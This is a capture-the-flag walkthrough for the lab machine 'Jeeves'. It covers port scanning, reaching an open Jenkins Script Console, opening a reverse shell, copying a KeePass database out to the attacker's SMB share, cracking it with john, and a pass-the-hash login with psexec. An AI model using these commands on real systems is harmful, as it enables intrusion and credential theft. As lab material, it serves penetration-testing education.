Jeeves

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.63 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80,135,445,50000 10.10.10.63 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

The website on port 80 just shows a website which doesn't have much utility.

And the website on port 50000 shows a Jetty 9.4.z site.

If we enumerate subdirectories with gobuster on this last website, we'll find the /askjeeves directory.

gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 --no-error

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

Exploitation

In the /askjeeves directory, we'll find a Jenkins server.

In a Jenkins server, when we are able to see the Manage Jenkins section, we can run commands on the system via the Script Console section.

All we have to do is set a netcat listener on port 4444 with rlwrap.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

And run the following command, which will send a reverse shell to our netcat listener.

Once we get the shell, we could be able to grab the user flag.

Privilege Escalation

Inside the kohsuke documents directory we'll see a CEH.kdbx file.

dir \users\kohsuke\documents

The .cdbx files are used by KeePass, and usually contains usernames and passwords.

KeePass is a password manager that allows you to securely protect different passwords, officially supports MacOS and Linux operating systems through the use of Mono.

Let's transfer that file to our machine. First create a SMB share in the current directory.

impacket-smbserver smbFolder $(pwd) -smb2support

Then copy the file to the SMB share.

copy \users\kohsuke\documents\CEH.kdbx \10.10.14.6\smbFolder\

As these type of files are encrypted with a password, we'll have to break it. First, get the hash of the file with keepass2john and put it in the hash file.

keepass2john CEH.kdbx > hash

Now, break the hash with john.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Now that we know the password, we can open the CEH.kdbx file.

keepassxc CEH.kdbx

Inside the Backup stuff entry, we'll see that the password is an NTLM hash.

Which seems to be the NTLM hash of the administrator user.

cme smb 10.10.10.63 -u "administrator" -H e0fb1fb85756c24235ff238cbe81fe00

As we have the NTLM hash of the administrator user, we don't need his password to get a shell, we could do a Pass The Hash attack to get the shell.

psexec.py administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00

At this point, we could get the root flag, but there is another file called hm.txt file instead of the root flag in the administrator's desktop.

dir \users\administrator\desktop

The file says to look deeper.

type \users\administrator\desktop\hm.txt

If we go to the desktop and try to list the alternative data streams, we'll see one called hm.txt:root.txt.

Alternate Data Streams have the ability of forking data into an existing file without changing its file size or functionality.

Finally, all we have to do is get the content of the alternative data stream, and reap the harvest and take the root flag.

more < hm.txt:root.txt

Last updated

Was this helpful?